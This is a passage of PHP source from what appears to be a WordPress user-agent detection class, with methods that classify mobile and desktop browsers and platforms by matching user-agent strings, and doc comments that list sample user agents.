return 'chrome-for-ios'; } elseif ( static::is_iphone_or_ipod( 'iphone-safari' ) ) { return 'iphone'; } elseif ( static::is_ipad( 'ipad-safari' ) ) { return 'ipad'; } elseif ( static::is_android_tablet() ) { // Keep this check before the android rule. return 'android_tablet'; } elseif ( static::is_android() ) { return 'android'; } elseif ( static::is_blackberry_10() ) { return 'blackberry_10'; } elseif ( static::is_blackbeberry() ) { return 'blackberry'; } elseif ( static::is_WindowsPhone7() ) { return 'win7'; } elseif ( static::is_windows_phone_8() ) { return 'winphone8'; } elseif ( static::is_opera_mini() ) { return 'opera-mini'; } elseif ( static::is_opera_mini_dumb() ) { return 'opera-mini-dumb'; } elseif ( static::is_opera_mobile() ) { return 'opera-mobi'; } elseif ( static::is_blackberry_tablet() ) { return 'blackberry_tablet'; } elseif ( static::is_kindle_fire() ) { return 'kindle-fire'; } elseif ( static::is_PalmWebOS() ) { return 'webos'; } elseif ( static::is_S60_OSSBrowser() ) { return 'series60'; } elseif ( static::is_firefox_os() ) { return 'firefoxOS'; } elseif ( static::is_firefox_mobile() ) { return 'firefox_mobile'; } elseif ( static::is_MaemoTablet() ) { return 'maemo'; } elseif ( static::is_MeeGo() ) { return 'meego'; } elseif ( static::is_TouchPad() ) { return 'hp_tablet'; } elseif ( static::is_facebook_for_iphone() ) { return 'facebook-for-iphone'; } elseif ( static::is_facebook_for_ipad() ) { return 'facebook-for-ipad'; } elseif ( static::is_twitter_for_iphone() ) { return 'twitter-for-iphone'; } elseif ( static::is_twitter_for_ipad() ) { return 'twitter-for-ipad'; } elseif ( static::is_wordpress_for_ios() ) { return 'ios-app'; } elseif ( static::is_iphone_or_ipod( 'iphone-not-safari' ) ) { return 'iphone-unknown'; } elseif ( static::is_ipad( 'ipad-not-safari' ) ) { return 'ipad-unknown'; } elseif ( static::is_Nintendo_3DS() ) { return 'nintendo-3ds'; } else { $agent = $this->useragent; $dumb_agents = $this->dumb_agents; foreach ( $dumb_agents as $dumb_agent ) { if ( false !== strpos( $agent, $dumb_agent ) ) { return $dumb_agent; } } } return false; } /** * This method detects the mobile device's platform. All return strings are from the class constants. * Note that this function returns the platform name, not the UA name/type. You should use a different function * if you need to test the UA capabilites. * * @return string|bool Name of the platform, false otherwise. */ public function get_platform() { if ( isset( $this->platform ) ) { return $this->platform; } if ( empty( $this->useragent ) ) { return false; } if ( strpos( $this->useragent, 'windows phone' ) !== false ) { $this->platform = self::PLATFORM_WINDOWS; } elseif ( strpos( $this->useragent, 'windows ce' ) !== false ) { $this->platform = self::PLATFORM_WINDOWS; } elseif ( strpos( $this->useragent, 'ipad' ) !== false ) { $this->platform = self::PLATFORM_IPAD; } elseif ( strpos( $this->useragent, 'ipod' ) !== false ) { $this->platform = self::PLATFORM_IPOD; } elseif ( strpos( $this->useragent, 'iphone' ) !== false ) { $this->platform = self::PLATFORM_IPHONE; } elseif ( strpos( $this->useragent, 'android' ) !== false ) { if ( static::is_android_tablet() ) { $this->platform = self::PLATFORM_ANDROID_TABLET; } else { $this->platform = self::PLATFORM_ANDROID; } } elseif ( static::is_kindle_fire() ) { $this->platform = self::PLATFORM_ANDROID_TABLET; } elseif ( static::is_blackberry_10() ) { $this->platform = self::PLATFORM_BLACKBERRY_10; } elseif ( strpos( $this->useragent, 'blackberry' ) !== false ) { $this->platform = self::PLATFORM_BLACKBERRY; } elseif ( static::is_blackberry_tablet() ) { $this->platform = self::PLATFORM_BLACKBERRY; } elseif ( static::is_symbian_platform() ) { $this->platform = self::PLATFORM_SYMBIAN; } elseif ( static::is_symbian_s40_platform() ) { $this->platform = self::PLATFORM_SYMBIAN_S40; } elseif ( static::is_J2ME_platform() ) { $this->platform = self::PLATFORM_J2ME_MIDP; } elseif ( static::is_firefox_os() ) { $this->platform = self::PLATFORM_FIREFOX_OS; } else { $this->platform = false; } return $this->platform; } /** * Returns the platform for desktops * * @return string */ public function get_desktop_platform() { $ua = $this->useragent; if ( empty( $ua ) ) { return false; } $platform = self::OTHER; if ( static::is_linux_desktop() ) { $platform = self::PLATFORM_DESKTOP_LINUX; } elseif ( static::is_mac_desktop() ) { $platform = self::PLATFORM_DESKTOP_MAC; } elseif ( static::is_windows_desktop() ) { $platform = self::PLATFORM_DESKTOP_WINDOWS; } elseif ( static::is_chrome_desktop() ) { $platform = self::PLATFORM_DESKTOP_CHROME; } return $platform; } /** * A simple pattern matching method for extracting the browser from the user agent. * * @return string */ public function get_browser() { $ua = $this->useragent; if ( empty( $ua ) ) { return self::OTHER; } if ( static::is_opera_mini() || static::is_opera_mobile() || static::is_opera_desktop() || static::is_opera_mini_dumb() ) { return self::BROWSER_OPERA; } elseif ( static::is_edge_browser() ) { return self::BROWSER_EDGE; } elseif ( static::is_chrome_desktop() || self::is_chrome_for_iOS() ) { return self::BROWSER_CHROME; } elseif ( static::is_safari_browser() ) { return self::BROWSER_SAFARI; } elseif ( static::is_firefox_mobile() || static::is_firefox_desktop() ) { return self::BROWSER_FIREFOX; } elseif ( static::is_ie_browser() ) { return self::BROWSER_IE; } return self::OTHER; } /** * This method detects for UA which can display iPhone-optimized web content. * Includes iPhone, iPod Touch, Android, WebOS, Fennec (Firefox mobile), etc. */ public function isTierIphone() { if ( isset( $this->isTierIphone ) ) { return $this->isTierIphone; } if ( $this->is_iphoneOrIpod() ) { $this->matched_agent = 'iphone'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_android() ) { $this->matched_agent = 'android'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_windows_phone_8() ) { $this->matched_agent = 'winphone8'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_WindowsPhone7() ) { $this->matched_agent = 'win7'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_blackberry_10() ) { $this->matched_agent = 'blackberry-10'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_blackbeberry() && 'blackberry-webkit' === static::detect_blackberry_browser_version() ) { $this->matched_agent = 'blackberry-webkit'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_blackberry_tablet() ) { $this->matched_agent = 'blackberry_tablet'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_PalmWebOS() ) { $this->matched_agent = 'webos'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_TouchPad() ) { $this->matched_agent = 'hp_tablet'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_firefox_os() ) { $this->matched_agent = 'firefoxOS'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_firefox_mobile() ) { $this->matched_agent = 'fennec'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_opera_mobile() ) { $this->matched_agent = 'opera-mobi'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_MaemoTablet() ) { $this->matched_agent = 'maemo'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_MeeGo() ) { $this->matched_agent = 'meego'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_kindle_touch() ) { $this->matched_agent = 'kindle-touch'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } elseif ( static::is_Nintendo_3DS() ) { $this->matched_agent = 'nintendo-3ds'; $this->isTierIphone = true; $this->isTierRichCss = false; $this->isTierGenericMobile = false; } else { $this->isTierIphone = false; } return $this->isTierIphone; } /** * This method detects for UA which are likely to be capable * but may not necessarily support JavaScript. * Excludes all iPhone Tier UA. */ public function isTierRichCss() { if ( isset( $this->isTierRichCss ) ) { return $this->isTierRichCss; } if ( $this->isTierIphone() ) { return false; } // The following devices are explicitly ok. if ( static::is_S60_OSSBrowser() ) { $this->matched_agent = 'series60'; $this->isTierIphone = false; $this->isTierRichCss = true; $this->isTierGenericMobile = false; } elseif ( static::is_opera_mini() ) { $this->matched_agent = 'opera-mini'; $this->isTierIphone = false; $this->isTierRichCss = true; $this->isTierGenericMobile = false; } elseif ( static::is_blackbeberry() ) { $detectedDevice = static::detect_blackberry_browser_version(); if ( 'blackberry-5' === $detectedDevice || 'blackberry-4.7' === $detectedDevice || 'blackberry-4.6' === $detectedDevice ) { $this->matched_agent = $detectedDevice; $this->isTierIphone = false; $this->isTierRichCss = true; $this->isTierGenericMobile = false; } } else { $this->isTierRichCss = false; } return $this->isTierRichCss; } /** * Detects if the user is using a tablet. * props Corey Gilmore, BGR.com * * @return bool */ public function is_tablet() { return ( 0 // Never true, but makes it easier to manage our list of tablet conditions. || self::is_ipad() || self::is_android_tablet() || self::is_blackberry_tablet() || self::is_kindle_fire() || self::is_MaemoTablet() || self::is_TouchPad() ); } /** * Detects if the current UA is the default iPhone or iPod Touch Browser. * * DEPRECATED: use is_iphone_or_ipod */ public function is_iphoneOrIpod() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( ( strpos( $ua, 'iphone' ) !== false ) || ( strpos( $ua, 'ipod' ) !== false ) ) { if ( self::is_opera_mini() || self::is_opera_mobile() || self::is_firefox_mobile() ) { return false; } else { return true; } } else { return false; } } /** * Detects if the current UA is iPhone Mobile Safari or another iPhone or iPod Touch Browser. * * They type can check for any iPhone, an iPhone using Safari, or an iPhone using something other than Safari. * * Note: If you want to check for Opera mini, Opera mobile or Firefox mobile (or any 3rd party iPhone browser), * you should put the check condition before the check for 'iphone-any' or 'iphone-not-safari'. * Otherwise those browsers will be 'catched' by the iphone string. * * @param string $type Type of iPhone detection. */ public static function is_iphone_or_ipod( $type = 'iphone-any' ) { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $is_iphone = ( strpos( $ua, 'iphone' ) !== false ) || ( strpos( $ua, 'ipod' ) !== false ); $is_safari = ( false !== strpos( $ua, 'safari' ) ); if ( 'iphone-safari' === $type ) { return $is_iphone && $is_safari; } elseif ( 'iphone-not-safari' === $type ) { return $is_iphone && ! $is_safari; } else { return $is_iphone; } } /** * Detects if the current UA is Chrome for iOS * * The User-Agent string in Chrome for iOS is the same as the Mobile Safari User-Agent, with CriOS/ instead of Version/. * - Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; en) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3 */ public static function is_chrome_for_iOS() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } if ( self::is_iphone_or_ipod( 'iphone-safari' ) === false ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( strpos( $ua, 'crios/' ) !== false ) { return true; } else { return false; } } /** * Detects if the current UA is Twitter for iPhone * * Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_5 like Mac OS X; nb-no) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8L1 Twitter for iPhone * Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9B206 Twitter for iPhone */ public static function is_twitter_for_iphone() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( strpos( $ua, 'ipad' ) !== false ) { return false; } if ( strpos( $ua, 'twitter for iphone' ) !== false ) { return true; } else { return false; } } /** * Detects if the current UA is Twitter for iPad * * Old version 4.X - Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8L1 Twitter for iPad * Ver 5.0 or Higher - Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9B206 Twitter for iPhone */ public static function is_twitter_for_ipad() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( strpos( $ua, 'twitter for ipad' ) !== false ) { return true; } elseif ( strpos( $ua, 'ipad' ) !== false && strpos( $ua, 'twitter for iphone' ) !== false ) { return true; } else { return false; } } /** * Detects if the current UA is Facebook for iPhone * - Facebook 4020.0 (iPhone; iPhone OS 5.0.1; fr_FR) * - Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_0 like Mac OS X; en_US) AppleWebKit (KHTML, like Gecko) Mobile [FBAN/FBForIPhone;FBAV/4.0.2;FBBV/4020.0;FBDV/iPhone3,1;FBMD/iPhone;FBSN/iPhone OS;FBSV/5.0;FBSS/2; FBCR/O2;FBID/phone;FBLC/en_US;FBSF/2.0] * - Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9B206 [FBAN/FBIOS;FBAV/5.0;FBBV/47423;FBDV/iPhone3,1;FBMD/iPhone;FBSN/iPhone OS;FBSV/5.1.1;FBSS/2; FBCR/3ITA;FBID/phone;FBLC/en_US] */ public static function is_facebook_for_iphone() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( false === strpos( $ua, 'iphone' ) ) { return false; } if ( false !== strpos( $ua, 'facebook' ) && false === strpos( $ua, 'ipad' ) ) { return true; } elseif ( false !== strpos( $ua, 'fbforiphone' ) && false === strpos( $ua, 'tablet' ) ) { return true; } elseif ( false !== strpos( $ua, 'fban/fbios;' ) && false === strpos( $ua, 'tablet' ) ) { // FB app v5.0 or higher. return true; } else { return false; } } /** * Detects if the current UA is Facebook for iPad * - Facebook 4020.0 (iPad; iPhone OS 5.0.1; en_US) * - Mozilla/5.0 (iPad; U; CPU iPhone OS 5_0 like Mac OS X; en_US) AppleWebKit (KHTML, like Gecko) Mobile [FBAN/FBForIPhone;FBAV/4.0.2;FBBV/4020.0;FBDV/iPad2,1;FBMD/iPad;FBSN/iPhone OS;FBSV/5.0;FBSS/1; FBCR/;FBID/tablet;FBLC/en_US;FBSF/1.0] * - Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10A403 [FBAN/FBIOS;FBAV/5.0;FBBV/47423;FBDV/iPad2,1;FBMD/iPad;FBSN/iPhone OS;FBSV/6.0;FBSS/1; FBCR/;FBID/tablet;FBLC/en_US] */ public static function is_facebook_for_ipad() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( false === strpos( $ua, 'ipad' ) ) { return false; } if ( false !== strpos( $ua, 'facebook' ) || false !== strpos( $ua, 'fbforiphone' ) || false !== strpos( $ua, 'fban/fbios;' ) ) { return true; } else { return false; } } /** * Detects if the current UA is WordPress for iOS */ public static function is_wordpress_for_ios() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( false !== strpos( $ua, 'wp-iphone' ) ) { return true; } else { return false; } } /** * Detects if the current device is an iPad. * They type can check for any iPad, an iPad using Safari, or an iPad using something other than Safari. * * Note: If you want to check for Opera mini, Opera mobile or Firefox mobile (or any 3rd party iPad browser), * you should put the check condition before the check for 'iphone-any' or 'iphone-not-safari'. * Otherwise those browsers will be 'catched' by the ipad string. * * @param string $type iPad type. */ public static function is_ipad( $type = 'ipad-any' ) { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $is_ipad = ( false !== strpos( $ua, 'ipad' ) ); $is_safari = ( false !== strpos( $ua, 'safari' ) ); if ( 'ipad-safari' === $type ) { return $is_ipad && $is_safari; } elseif ( 'ipad-not-safari' === $type ) { return $is_ipad && ! $is_safari; } else { return $is_ipad; } } /** * Detects if the current browser is Firefox Mobile (Fennec) * * See http://www.useragentstring.com/pages/Fennec/ * Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1 * Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1 */ public static function is_firefox_mobile() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( strpos( $ua, 'fennec' ) !== false ) { return true; } else { return false; } } /** * Detects if the current browser is Firefox for desktop * * See https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox * Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion * The platform section will include 'Mobile' for phones and 'Tablet' for tablets. */ public static function is_firefox_desktop() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( false !== strpos( $ua, 'firefox' ) && false === strpos( $ua, 'mobile' ) && false === strpos( $ua, 'tablet' ) ) { return true; } else { return false; } } /** * Detects if the current browser is FirefoxOS Native browser * * Mozilla/5.0 (Mobile; rv:14.0) Gecko/14.0 Firefox/14.0 */ public static function is_firefox_os() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( strpos( $ua, 'mozilla' ) !== false && strpos( $ua, 'mobile' ) !== false && strpos( $ua, 'gecko' ) !== false && strpos( $ua, 'firefox' ) !== false ) { return true; } else { return false; } } /** * Detect Safari browser */ public static function is_safari_browser() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } if ( false === strpos( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ), 'Safari' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. return false; } return true; } /** * Detect Edge browser */ public static function is_edge_browser() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } if ( false === strpos( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ), 'Edge' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. return false; } return true; } /** * Detect Edge browser */ public static function is_ie_browser() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = wp_unslash( $_SERVER['HTTP_USER_AGENT'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( false === ( strpos( $ua, 'MSIE' ) || strpos( $ua, 'Trident/7' ) ) ) { return false; } return true; } /** * Detect modern Opera desktop * * Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 OPR/74.0.3911.203 * * Looking for "OPR/" specifically. */ public static function is_opera_desktop() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } if ( false === strpos( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ), 'OPR/' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. return false; } return true; } /** * Detects if the current browser is Opera Mobile * * What is the difference between Opera Mobile and Opera Mini? * - Opera Mobile is a full Internet browser for mobile devices. * - Opera Mini always uses a transcoder to convert the page for a small display. * (it uses Opera advanced server compression technology to compress web content before it gets to a device. * The rendering engine is on Opera's server.) * * Opera/9.80 (Windows NT 6.1; Opera Mobi/14316; U; en) Presto/2.7.81 Version/11.00" * Opera/9.50 (Nintendo DSi; Opera/507; U; en-US) */ public static function is_opera_mobile() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( strpos( $ua, 'opera' ) !== false && strpos( $ua, 'mobi' ) !== false ) { return true; } elseif ( strpos( $ua, 'opera' ) !== false && strpos( $ua, 'nintendo dsi' ) !== false ) { return true; } else { return false; } } /** * Detects if the current browser is Opera Mini * * Opera/8.01 (J2ME/MIDP; Opera Mini/3.0.6306/1528; en; U; ssr) * Opera/9.80 (Android;Opera Mini/6.0.24212/24.746 U;en) Presto/2.5.25 Version/10.5454 * Opera/9.80 (iPhone; Opera Mini/5.0.019802/18.738; U; en) Presto/2.4.15 * Opera/9.80 (J2ME/iPhone;Opera Mini/5.0.019802/886; U; ja) Presto/2.4.15 * Opera/9.80 (J2ME/iPhone;Opera Mini/5.0.019802/886; U; ja) Presto/2.4.15 * Opera/9.80 (Series 60; Opera Mini/5.1.22783/23.334; U; en) Presto/2.5.25 Version/10.54 * Opera/9.80 (BlackBerry; Opera Mini/5.1.22303/22.387; U; en) Presto/2.5.25 Version/10.54 */ public static function is_opera_mini() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( strpos( $ua, 'opera' ) !== false && strpos( $ua, 'mini' ) !== false ) { return true; } else { return false; } } /** * Detects if the current browser is Opera Mini, but not on a smart device OS(Android, iOS, etc) * Used to send users on dumb devices to m.wor */ public static function is_opera_mini_dumb() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( self::is_opera_mini() ) { if ( strpos( $ua, 'android' ) !== false || strpos( $ua, 'iphone' ) !== false || strpos( $ua, 'ipod' ) !== false || strpos( $ua, 'ipad' ) !== false || strpos( $ua, 'blackberry' ) !== false ) { return false; } else { return true; } } else { return false; } } /** * Detects if the current browser is a Windows Phone 7 device. * ex: Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; LG; GW910) */ public static function is_WindowsPhone7() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( false === strpos( $ua, 'windows phone os 7' ) ) { return false; } elseif ( self::is_opera_mini() || self::is_opera_mobile() || self::is_firefox_mobile() ) { return false; } else { return true; } } /** * Detects if the current browser is a Windows Phone 8 device. * ex: Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; ARM; Touch; IEMobile/10.0; ; [;]) */ public static function is_windows_phone_8() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( strpos( $ua, 'windows phone 8' ) === false ) { return false; } else { return true; } } /** * Detects if the current browser is on a Palm device running the new WebOS. This EXCLUDES TouchPad. * * Ex1: Mozilla/5.0 (webOS/1.4.0; U; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Version/1.0 Safari/532.2 Pre/1.1 * Ex2: Mozilla/5.0 (webOS/1.4.0; U; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Version/1.0 Safari/532.2 Pixi/1.1 */ public static function is_PalmWebOS() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( false === strpos( $ua, 'webos' ) ) { return false; } elseif ( self::is_opera_mini() || self::is_opera_mobile() || self::is_firefox_mobile() ) { return false; } else { return true; } } /** * Detects if the current browser is the HP TouchPad default browser. This excludes phones wt WebOS. * * TouchPad Emulator: Mozilla/5.0 (hp-desktop; Linux; hpwOS/2.0; U; it-IT) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 Desktop/1.0 * TouchPad: Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0 */ public static function is_TouchPad() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $http_user_agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( false !== strpos( $http_user_agent, 'hp-tablet' ) || false !== strpos( $http_user_agent, 'hpwos' ) || false !== strpos( $http_user_agent, 'touchpad' ) ) { if ( self::is_opera_mini() || self::is_opera_mobile() || self::is_firefox_mobile() ) { return false; } else { return true; } } else { return false; } } /** * Detects if the current browser is the Series 60 Open Source Browser. * * OSS Browser 3.2 on E75: Mozilla/5.0 (SymbianOS/9.3; U; Series60/3.2 NokiaE75-1/110.48.125 Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 * * 7.0 Browser (Nokia 5800 XpressMusic (v21.0.025)) : Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 Nokia5800d-1/21.0.025; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 * * Browser 7.1 (Nokia N97 (v12.0.024)) : Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/12.0.024; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.12344 */ public static function is_S60_OSSBrowser() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( self::is_opera_mini() || self::is_opera_mobile() || self::is_firefox_mobile() ) { return false; } $pos_webkit = strpos( $agent, 'webkit' ); if ( false !== $pos_webkit ) { // First, test for WebKit, then make sure it's either Symbian or S60. if ( strpos( $agent, 'symbian' ) !== false || strpos( $agent, 'series60' ) !== false ) { return true; } else { return false; } } elseif ( strpos( $agent, 'symbianos' ) !== false && strpos( $agent, 'series60' ) !== false ) { return true; } elseif ( strpos( $agent, 'nokia' ) !== false && strpos( $agent, 'series60' ) !== false ) { return true; } return false; } /** * Detects if the device platform is the Symbian Series 60. */ public static function is_symbian_platform() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. $pos_webkit = strpos( $agent, 'webkit' ); if ( false !== $pos_webkit ) { // First, test for WebKit, then make sure it's either Symbian or S60. if ( strpos( $agent, 'symbian' ) !== false || strpos( $agent, 'series60' ) !== false ) { return true; } else { return false; } } elseif ( strpos( $agent, 'symbianos' ) !== false && strpos( $agent, 'series60' ) !== false ) { return true; } elseif ( strpos( $agent, 'nokia' ) !== false && strpos( $agent, 'series60' ) !== false ) { return true; } elseif ( strpos( $agent, 'opera mini' ) !== false ) { if ( strpos( $agent, 'symbianos' ) !== false || strpos( $agent, 'symbos' ) !== false || strpos( $agent, 'series 60' ) !== false ) { return true; } } return false; } /** * Detects if the device platform is the Symbian Series 40. * Nokia Browser for Series 40 is a proxy based browser, previously known as Ovi Browser. * This browser will report 'NokiaBrowser' in the header, however some older version will also report 'OviBrowser'. */ public static function is_symbian_s40_platform() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $agent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This is validating. if ( strpos( $agent, 'series40' ) 